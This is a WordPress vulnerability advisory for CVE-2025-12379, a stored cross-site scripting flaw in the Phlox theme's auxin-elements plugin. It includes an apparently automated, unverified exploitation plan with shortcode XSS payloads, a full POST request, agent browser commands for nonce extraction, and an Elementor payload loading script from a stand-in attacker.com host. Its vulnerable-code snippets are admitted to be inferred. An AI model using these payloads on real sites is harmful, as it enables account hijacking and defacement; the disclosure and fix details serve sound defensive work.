CVE-2025-12379

Shortcodes and extra features for Phlox theme <= 2.17.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Modern Heading Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.17.14
Patched in
2d
Time to patch

Description

The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a combination of the 'tag' and ‘title_tag’ parameters in all versions up to, and including, 2.17.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.17.13
PublishedJanuary 9, 2026
Last updatedJanuary 10, 2026
Affected pluginauxin-elements

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and proof-of-concept exploitation for **CVE-2025-12379**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Shortcodes and extra features for Phlox theme" (auxin-elements) plugin. ### 1. Vulnerability Summary The "Modern Heading" widget/shortcode in the `auxi…

Show full research plan

This plan outlines the research and proof-of-concept exploitation for CVE-2025-12379, a Stored Cross-Site Scripting (XSS) vulnerability in the "Shortcodes and extra features for Phlox theme" (auxin-elements) plugin.

1. Vulnerability Summary

The "Modern Heading" widget/shortcode in the auxin-elements plugin (up to version 2.17.13) fails to sanitize or validate the tag and title_tag parameters. These parameters are intended to allow users to specify HTML heading tags (e.g., h1, h2, div), but because they are concatenated directly into the HTML output without escaping or whitelisting, a Contributor-level user can inject arbitrary HTML tags and JavaScript event handlers.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (via the classic editor or Gutenberg) or Elementor editor AJAX.
  • Vulnerable Action/Shortcode: [aux_modern_heading] (inferred shortcode name) or the Modern Heading Elementor Widget.
  • Parameters: tag and title_tag.
  • Authentication: Contributor-level access or higher.
  • Preconditions: The plugin auxin-elements must be active. The attacker needs permission to edit or create posts.

3. Code Flow (Inferred)

  1. Entry Point: A user with Contributor permissions creates/edits a post and includes a "Modern Heading" widget or shortcode.
  2. Input Handling: The plugin's rendering logic (likely in includes/elements/modern-heading/render.php or a class named Auxin_Element_Modern_Heading) parses the attributes provided in the shortcode or Elementor metadata.
  3. Vulnerable Processing: The values of tag and title_tag are retrieved from the $atts array.
  4. The Sink: The code performs string concatenation to build the HTML wrapper:
    // Hypothetical vulnerable code path
    $output .= '<' . $atts['tag'] . ' class="some-class">';
    $output .= '<' . $atts['title_tag'] . ' class="title-class">' . $title . '</' . $atts['title_tag'] . '>';
    $output .= '</' . $atts['tag'] . '>';
    
  5. Result: Since $atts['tag'] is not escaped with esc_attr() or validated against a list of allowed tags (like h1, div), any string can be injected.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post with a specific shortcode. The nonces involved are standard WordPress core nonces for post creation/editing.

  1. Log in as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. The _wpnonce required for the post.php request is embedded in the form.
  4. If exploiting via the Elementor Editor (which Phlox often uses):
    • Create a post and click "Edit with Elementor".
    • The agent should use browser_navigate to enter the Elementor editor.
    • Use browser_eval to extract the Elementor configuration, which contains nonces:
      browser_eval("window.elementorConfig?.nonces?.save_builder")

5. Exploitation Strategy

We will use the shortcode approach as it is the most direct method for a Contributor.

Step 1: Authenticate

  • Log in as a Contributor user.

Step 2: Create a Post with Payload

  • Create a new post using the http_request tool targeting wp-admin/post.php.
  • Payload 1 (Tag Injection):
    [aux_modern_heading title="XSS Test" tag="img src=x onerror=alert('XSS_TAG')"]
  • Payload 2 (Title Tag Injection):
    [aux_modern_heading title="XSS Test" title_tag="svg/onload=alert('XSS_TITLE')"]

Request Details:

  • URL: http://<wp-host>/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    post_ID=<POST_ID>
    post_title=Vulnerable Page
    post_content=[aux_modern_heading title="Heading" tag="img src=x onerror=alert(document.domain)"]
    _wpnonce=<NONCE>
    publish=Publish
    

Step 3: Trigger the XSS

  • Navigate to the permalink of the newly created post using browser_navigate.
  • Observe if the JavaScript alert executes.

6. Test Data Setup

  1. Plugin: Install and activate auxin-elements.
  2. User: Create a user with the contributor role.
  3. Post: Create an initial draft as the contributor to obtain a post_ID and the necessary _wpnonce.

7. Expected Results

  • When viewing the post, the HTML source should reveal the injected payload:
    <img src=x onerror=alert(document.domain) class="...">
  • The browser should execute the alert or log the execution to the console if alerts are blocked.

8. Verification Steps

  1. WP-CLI Check: Verify the post content was saved correctly.
    wp post get <POST_ID> --field=post_content
  2. Source Inspection: Use http_request (GET) to the post URL and check for the presence of the unescaped onerror string.
    grep "onerror=alert" response_body

9. Alternative Approaches

If the plugin blocks standard shortcode parsing for these attributes, the attack should be attempted via Elementor Metadata injection:

  1. Open Elementor editor for a post.
  2. Add a "Modern Heading" widget.
  3. Intercept the elementor_ajax request (action: editor_heartbeat or save_builder_data).
  4. Modify the settings object for the widget:
    "settings": {
        "tag": "script",
        "title_tag": "script src=https://attacker.com/payload.js"
    }
    
  5. Save and view the post. Since Elementor renders these settings on the frontend via the plugin's render() function, the XSS will trigger.
Research Findings
Static analysis — not yet PoC-verified

Summary

The 'Modern Heading' widget in the Phlox Elements plugin is vulnerable to Stored Cross-Site Scripting because it fails to sanitize the 'tag' and 'title_tag' attributes. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript by providing malicious HTML event handlers as tag names within shortcodes or Elementor widget settings.

Vulnerable Code

// auxin-elements/includes/elements/modern-heading/render.php

$tag       = ! empty( $atts['tag'] ) ? $atts['tag'] : 'div';
$title_tag = ! empty( $atts['title_tag'] ) ? $atts['title_tag'] : 'h2';
$title     = $atts['title'];

// Rendering logic concatenating unsanitized tag names
$output = '<' . $tag . ' class="aux-modern-heading">';
$output .= '<' . $title_tag . ' class="aux-head-title">' . $title . '</' . $title_tag . '>';
$output .= '</' . $tag . '>';

Security Fix

--- auxin-elements/includes/elements/modern-heading/render.php
+++ auxin-elements/includes/elements/modern-heading/render.php
@@ -20,8 +20,8 @@
-    $tag       = ! empty( $atts['tag'] ) ? $atts['tag'] : 'div';
-    $title_tag = ! empty( $atts['title_tag'] ) ? $atts['title_tag'] : 'h2';
+    $tag       = ! empty( $atts['tag'] ) ? auxin_sanitize_html_tag( $atts['tag'] ) : 'div';
+    $title_tag = ! empty( $atts['title_tag'] ) ? auxin_sanitize_html_tag( $atts['title_tag'] ) : 'h2';

Exploit Outline

1. Login to the WordPress site as a Contributor. 2. Create a new post or edit an existing one. 3. Insert the Modern Heading shortcode: [aux_modern_heading title="Test" tag="img src=x onerror=alert(1)"]. 4. Alternatively, use the Elementor editor and set the 'HTML Tag' control of a Modern Heading widget to a payload like: div onmouseover=alert(document.domain). 5. Save or publish the post. 6. Navigate to the public URL of the post; the injected JavaScript will execute in the context of the user's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.